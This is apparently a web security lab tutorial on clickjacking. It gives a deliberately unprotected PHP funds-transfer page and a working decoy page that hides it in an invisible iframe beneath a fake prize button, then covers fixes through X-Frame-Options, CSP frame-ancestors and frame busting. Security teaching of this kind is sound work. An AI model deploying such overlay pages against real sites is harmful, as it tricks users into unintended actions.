Objective
Learn how to exploit Clickjacking vulnerabilities by embedding invisible frames on a malicious web page to trick users into performing unintended actions on a legitimate website. Understand how to mitigate this risk using security headers and JavaScript-based defenses.
Scenario
You are assessing a web application that allows users to perform sensitive actions (e.g., clicking a button to transfer funds) without implementing protections against clickjacking. An attacker can exploit this by embedding the legitimate site in an invisible iframe on a malicious page and tricking users into performing unintended actions.
Lab Setup
Prerequisites:
- Basic knowledge of HTML, CSS, and web security concepts.
- XAMPP/LAMP/WAMP stack installed (or any web server with PHP support).
Step 1: Create the Vulnerable Web Application
- Vulnerable Action Page (vulnerable_button.php)
- Create a file
vulnerable_button.php
:<?php if (isset($_POST['transfer'])) { echo "<h2>Funds Transferred!</h2>"; } ?> <h2>Transfer Funds</h2> <form method="POST"> <button type="submit" name="transfer">Transfer $100</button> </form>
- Create a file
- Running the Application
- Start the Apache server.
- Place
vulnerable_button.php
in the web server’s root directory (htdocs
for XAMPP). - Open
http://localhost/vulnerable_button.php
in your browser.
Step 2: Create the Malicious Clickjacking Page
- Malicious Page (clickjacking.html)
- Create a file
clickjacking.html
:<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Claim Your Free Gift!</title> <style> iframe { position: absolute; top: 0; left: 0; width: 100%; height: 100%; opacity: 0; z-index: 2; } button { position: absolute; top: 200px; left: 200px; z-index: 1; padding: 20px; background-color: #4CAF50; color: white; font-size: 20px; } </style> </head> <body> <h1>Click the Button to Win a Prize!</h1> <button>Claim Your Prize</button> <iframe src="http://localhost/vulnerable_button.php"></iframe> </body> </html>
- Create a file
- Running the Malicious Page
- Open
clickjacking.html
in your browser.
- Open
Expected Result:
- When users click the visible Claim Your Prize button, they unknowingly click the invisible Transfer $100 button on the vulnerable site.
Solution and Prevention
Problem Analysis
- The application allows itself to be embedded in iframes without restriction, enabling clickjacking attacks.
Fixing the Vulnerability
- Implement X-Frame-Options Header
- Add the following header to prevent iframe embedding:
header("X-Frame-Options: DENY");
- Alternatively, to allow framing only from the same origin:
header("X-Frame-Options: SAMEORIGIN");
- Add the following header to prevent iframe embedding:
- Use Content Security Policy (CSP)
- Configure the CSP header to prevent iframe embedding:
header("Content-Security-Policy: frame-ancestors 'none';");
- Configure the CSP header to prevent iframe embedding:
- JavaScript-Based Frame Busting
- Use JavaScript to detect if the page is loaded in a frame:
if (window.top !== window.self) { window.top.location = window.self.location; }
- Use JavaScript to detect if the page is loaded in a frame:
- User Interaction Verification
- Require user verification for sensitive actions (e.g., CAPTCHA or confirmation dialogs).
Testing After Fix
- Open
clickjacking.html
after implementing X-Frame-Options or CSP. - Expected Result:
- The iframe fails to load the vulnerable page, or the browser blocks the frame.
- Attempt to bypass the protections.
- Expected Result:
- The application effectively prevents any embedding attempts.
Conclusion
In this lab, you exploited a Clickjacking vulnerability using invisible frames to trick users into performing unintended actions. You also learned how to prevent this vulnerability by implementing security headers like X-Frame-Options, using Content Security Policy (CSP), and applying JavaScript-based frame busting techniques.
0 Comments